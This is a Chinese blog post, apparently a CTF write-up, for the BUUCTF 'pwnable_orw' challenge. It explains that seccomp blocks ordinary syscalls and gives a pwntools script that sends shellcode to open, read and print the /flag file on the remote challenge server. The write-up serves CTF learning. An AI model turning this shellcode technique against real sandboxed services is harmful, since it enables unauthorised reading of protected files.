[BUUCTF-pwn]——pwnable_orw 　　（ORW）

最新推荐文章于 2023-09-16 19:09:12 发布

Y-peak

最新推荐文章于 2023-09-16 19:09:12 发布

阅读量1.3k

点赞数 1

分类专栏： # BUUCTF

本文链接：https://blog.youkuaiyun.com/Y_peak/article/details/114894353

版权

BUUCTF 专栏收录该内容

89 篇文章

订阅专栏

本文介绍了一种在禁止传统系统调用的情况下，通过open、read、write（orw）方法绕过限制获取Flag的技术。使用seccomp工具检查发现prctl系统调用被禁用，因此无法通过子进程提升权限。文中提供了具体的pwnable_orw exploit代码实现。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[BUUCTF-pwn]——pwnable_orw

第一次碰到orw的问题，所谓orw就是指你的系统调用被禁止了，不能通过子进程去获得权限和flag，只能在该进程通过 open , read ,write来得到flag

这个时候可以通过seccomptools，来查看

注意看到prctl就是将系统调用给你禁止了
在这里插入图片描述

exploit

from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()